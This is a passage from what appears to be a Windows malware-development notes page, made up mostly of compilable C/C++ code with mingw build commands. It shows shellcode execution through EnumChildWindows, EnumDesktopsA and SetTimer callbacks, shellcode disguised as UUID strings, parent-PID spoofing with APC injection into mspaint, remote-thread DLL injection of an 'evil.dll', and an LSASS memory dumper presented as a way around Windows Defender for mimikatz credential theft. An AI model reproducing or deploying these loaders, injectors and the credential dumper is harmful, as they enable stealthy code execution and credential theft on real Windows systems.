LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Run
via EnumchildWindows
Code
#include <windows.h>
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
int main(int argc, char* argv[]) {
LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Run
Like a Lazarus Group or via UuidFromStringA
Basically here we will convert the shell code to UUID
and then will run the UUID
encrypted code.
Python code to convert payload to UUID string
#payload_uuid.py
#!usr/bin/python3
from uuid import UUID
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-p','--payload', required = True, help = "payload: binary file")
args = vars(parser.parse_args())
pbin = args['payload']
with open(pbin, "rb") as f:
# read in 16 bytes from our input payload
chunk = f.read(16)
while chunk:
# if the chunk is less than 16 bytes then we pad the difference (x90)
if len(chunk) < 16:
padding = 16 - len(chunk)
chunk = chunk + (b"\x90" * padding)
print(UUID(bytes_le=chunk))
chunk = f.read(16)
Code
//hack.cpp
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
const char* uuids[] = {
"e48148fc-fff0-ffff-e8d0-000000415141",
"56515250-3148-65d2-488b-52603e488b52",
"8b483e18-2052-483e-8b72-503e480fb74a",
"c9314d4a-3148-acc0-3c61-7c022c2041c1",
"01410dc9-e2c1-52ed-4151-3e488b52203e",
"483c428b-d001-8b3e-8088-0000004885c0",
"01486f74-50d0-8b3e-4818-3e448b402049",
"5ce3d001-ff48-3ec9-418b-34884801d64d",
"3148c931-acc0-c141-c90d-4101c138e075",
"034c3ef1-244c-4508-39d1-75d6583e448b",
"01492440-66d0-413e-8b0c-483e448b401c",
"3ed00149-8b41-8804-4801-d0415841585e",
"58415a59-5941-5a41-4883-ec204152ffe0",
"5a594158-483e-128b-e949-ffffff5d49c7",
"000000c1-3e00-8d48-95fe-0000003e4c8d",
"00010985-4800-c931-41ba-45835607ffd5",
"41c93148-f0ba-a2b5-56ff-d54d656f772d",
"776f656d-0021-5e3d-2e2e-5e3d00909090"
};
int main() {
int elems = sizeof(uuids) / sizeof(uuids[0]);
VOID* mem = VirtualAlloc(NULL, 0x100000, 0x00002000 | 0x00001000, PAGE_EXECUTE_READWRITE);
DWORD_PTR hptr = (DWORD_PTR)mem;
for (int i = 0; i < elems; i++) {
// printf("[*] Allocating %d of %d uuids\n", i + 1, elems);
// printf("%s\n", *(uuids+i));
RPC_CSTR rcp_cstr = (RPC_CSTR)*(uuids+i);
RPC_STATUS status = UuidFromStringA((RPC_CSTR)rcp_cstr, (UUID*)hptr);
if (status != RPC_S_OK) {
printf("[-] UUID convert error\n");
CloseHandle(mem);
return -1;
}
hptr += 16;
}
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
// EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
CloseHandle(mem);
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-L/usr/x86_64-w64-mingw32/lib/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -lrpcrt4
Run
via SetTimer
The SetTimer
function is a part of the Windows API. It is used to create a timer with a specified time-out value.
UINT_PTR SetTimer(
HWND hWnd,
UINT_PTR nIDEvent,
UINT uElapse,
TIMERPROC lpTimerFunc
);
hWnd
: A handle to the window to be associated with the timer. This window must be owned by the calling thread. If aNULL
value forhWnd
is passed in along with annIDEvent
of an existing timer, that old timer will be replaced by the new one.nIDEvent
: A nonzero timer identifier. If thehWnd
parameter isNULL
, and thenIDEvent
does not match an existing timer then it is ignored and a new timer ID is generated. If thehWnd
is notNULL
and the window specified byhWnd
already has a timer with the valuenIDEvent
, then the existing timer is replaced by the new timer. WhenSetTimer
replaces a timer, the timer is reset.uElapse
: The time-out value, in milliseconds.lpTimerFunc
: A pointer to the function to be notified when the time-out value elapses. If this parameter isNULL
, the system posts aWM_TIMER
message to the application queue. This message is processed by the window procedure.
Code
//hack.c
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[]) {
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
PVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
UINT_PTR dummy = 0;
MSG msg;
SetTimer(NULL, dummy, NULL, (TIMERPROC)mem);
GetMessageA(&msg, NULL, 0, 0);
DispatchMessageA(&msg);
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Run
Parent PID spoofing
Example
Opening paint normally.
- Parent is
explorer.exe
.
Code
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
int main(int argc, char* argv[]) {
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T st;
int pid = findMyProc(argv[1]);
if (pid) {
printf("PID = %d\n", pid);
}
HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, false, (DWORD)pid);
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &st);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, st);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &st);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &ph, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&si), &pi);
LPVOID ba = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T *nb = 0;
BOOL res = WriteProcessMemory(pi.hProcess, ba, (LPVOID)my_payload, sizeof(my_payload), nb);
QueueUserAPC((PAPCFUNC)ba, pi.hThread, 0);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
return 0;
}
Steps
- Create process
mspaint.exe
- Write meow-meow payload to created memory.
- Add APC object to the APC queue.
- Resume thread.
Compile
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-mwindows -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Run
Enumerate process modules
via EnumerateLoadedModules
Simple - Print Module (before injecting)
Code
#include <iostream>
#include <windows.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")
// callback function
BOOL CALLBACK PrintModules(
PSTR ModuleName,
ULONG ModuleBase,
ULONG ModuleSize,
PVOID UserContext) {
// print the module name.
printf("%s\n", ModuleName);
return TRUE;
}
int main(int argc, char *argv[]) {
// inject a DLL into remote process
HANDLE ph = GetCurrentProcess();
// enumerate modules
printf("\nenumerate modules... \n");
EnumerateLoadedModules(ph, (PENUMLOADED_MODULES_CALLBACK)PrintModules, NULL);
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -ldbghelp
Run
inject dll (after injecting)
Here evil.dll
we will use this dll.
Code
//hack2.cpp
#include <iostream>
#include <windows.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
// callback function
BOOL CALLBACK PrintModules(
PSTR ModuleName,
ULONG ModuleBase,
ULONG ModuleSize,
PVOID UserContext) {
// print the module name.
printf("%s\n", ModuleName);
return TRUE;
}
int main(int argc, char *argv[]) {
// inject a DLL into remote process
HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
LPVOID rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// "copy" evil DLL between processes
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
HANDLE rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
// enumerate modules
printf("\nenumerate modules... \n");
EnumerateLoadedModules(ph, (PENUMLOADED_MODULES_CALLBACK)PrintModules, NULL);
CloseHandle(ph);
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack2.cpp -o hack2.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -ldbghelp
Run
via VirtualQueryEx
Code
//hack.c
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ph,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE Newph
);
int findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function address
fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}
return pid;
}
// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {
HANDLE ph;
MEMORY_BASIC_INFORMATION mbi;
char * base = NULL;
ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
if (ph == NULL)
return -1;
printf("modules found:\n");
printf("name\t\t\t base address\n");
printf("=====================================================================\n");
while (VirtualQueryEx(ph, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
char szModName[MAX_PATH];
// only focus on the base address regions
if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR)))
printf("%#25s\t\t%#10llx\n", szModName, (unsigned long long)mbi.AllocationBase);
}
// check the next region
base += mbi.RegionSize;
}
CloseHandle(ph);
return 0;
}
int main(int argc, char* argv[]) {
int pid = 0; // process ID
pid = findMyProc(argv[1]);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
if (pid != 0)
listModulesOfProcess(pid);
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -lpsapi -lshlwapi
Run
Mutex
Usage
Mutex is used to make sure program be launched only once.
Code
//hack.cpp
#include <windows.h>
#include <cstdio>
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
int main(int argc, char* argv[]) {
HANDLE hMutex;
// create mutex with a name so multiple instances can detect it
hMutex = CreateMutexA(NULL, FALSE, "MeowMeowMutex");
// check if the mutex already exists
if (GetLastError() == ERROR_ALREADY_EXISTS) {
// if this process created the mutex, exit the application
if (hMutex && GetLastError() == ERROR_ALREADY_EXISTS) {
printf("MeowMeowMutex already exists, app already running =^..^=\n");
CloseHandle(hMutex);
return 0;
}
}
// shellcode running logic
LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
// cleanup
if (hMutex)
CloseHandle(hMutex);
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Run
WinAPI LoadLibrary implementation
LoadLibrary
is a Windows API function that allows you to load a dynamic-link library (DLL) module into the address space of the calling process. The function takes the name of the DLL as an argument and returns a handle to the loaded module. If the function fails, it returns NULL.
Dll Code
//pet.c
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
__declspec(dllexport) int _cdecl Cat() {
MessageBox(NULL, "meow-meow", "=^..^=", MB_OK);
return 1;
}
__declspec(dllexport) int _cdecl Mouse() {
MessageBox(NULL, "squeak-squeak", "<:3()~~", MB_OK);
return 1;
}
C++ Code
//hack.cpp
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
typedef int (__cdecl *CatProc)();
typedef int (__cdecl *MouseProc)();
typedef NTSTATUS(NTAPI *pLdrLoadDll) (
PWCHAR PathToFile,
ULONG Flags,
PUNICODE_STRING ModuleFileName,
PHANDLE ModuleHandle
);
typedef VOID (NTAPI *pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
HMODULE MyLoadLibrary(LPCWSTR lpFileName) {
UNICODE_STRING ustrModule;
HANDLE hModule = NULL;
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
RtlInitUnicodeString(&ustrModule, lpFileName);
pLdrLoadDll myLdrLoadDll = (pLdrLoadDll)
GetProcAddress(GetModuleHandle("ntdll.dll"), "LdrLoadDll");
if (!myLdrLoadDll) {
return NULL;
}
NTSTATUS status = myLdrLoadDll(NULL, 0, &ustrModule, &hModule);
return (HMODULE)hModule;
}
int main() {
HMODULE petDll = MyLoadLibrary(L"pet.dll");
if (petDll) {
CatProc catFunc = (CatProc) GetProcAddress(petDll, "Cat");
MouseProc mouseFunc = (MouseProc) GetProcAddress(petDll, "Mouse");
if ((catFunc != NULL) && (mouseFunc != NULL)) {
(catFunc) ();
(mouseFunc) ();
}
FreeLibrary(petDll);
} else {
printf("failed to load library :(\n");
}
return 0;
}
Compile
# Compile DLL
x86_64-w64-mingw32-gcc -shared -o pet.dll pet.c
# Compile C++ Code
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Run
Dump lsass.dmp for minikartz
Windows Defender on Windows 10 is flagging up mimikatz immediately. So We can use this exe
to dump lsass.dmp
and then take lsass.dmp
to our attacking windows machine and
load the dump file in minikartz.
Here we will use MiniDumpWriteDump
API to dump Lsass.
The MiniDumpWriteDump
function is a Windows API function that creates a minidump file, which is a small snapshot of the application state at the time the function is called. This file can be useful for debugging purposes, as it contains the exception information, a list of loaded DLLs, stack information, and other system state information.
Code
//hack.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")
int findMyProc(const char *procname) {
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);
// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}
// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;
}
// set privilege
BOOL setPrivilege(LPCTSTR priv) {
HANDLE token;
TOKEN_PRIVILEGES tp;
LUID luid;
BOOL res = TRUE;
if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;
if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;
printf(res ? "successfully enable %s :)\n" : "failed to enable %s :(\n", priv);
return res;
}
// minidump lsass.exe
BOOL createMiniDump() {
bool dumped = FALSE;
int pid = findMyProc("lsass.exe");
HANDLE ph = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, pid);
HANDLE out = CreateFile((LPCTSTR)"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (ph && out != INVALID_HANDLE_VALUE) {
dumped = MiniDumpWriteDump(ph, pid, out, (MINIDUMP_TYPE)0x00000002, NULL, NULL, NULL);
printf(dumped ? "successfully dumped to lsaas.dmp :)\n" : "failed to dump :(\n");
}
return dumped;
}
int main(int argc, char* argv[]) {
if (!setPrivilege(SE_DEBUG_NAME)) return -1;
if (!createMiniDump()) return -1;
return 0;
}
Steps
- find
lsass.exe
process, viafindMyProc
function. - It is necessary to have
SeDebugPrivilege
privilege to dump LSASS. So we will do that withsetPrivilege
function. - Create dump via
createMiniDump
.
Compile
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -ldbghelp
Run
Store binary data(payload)
in registry
Use
This technique can be useful in storing binary data in Windows Registry for persistence and storing different malicious payloads.
Code
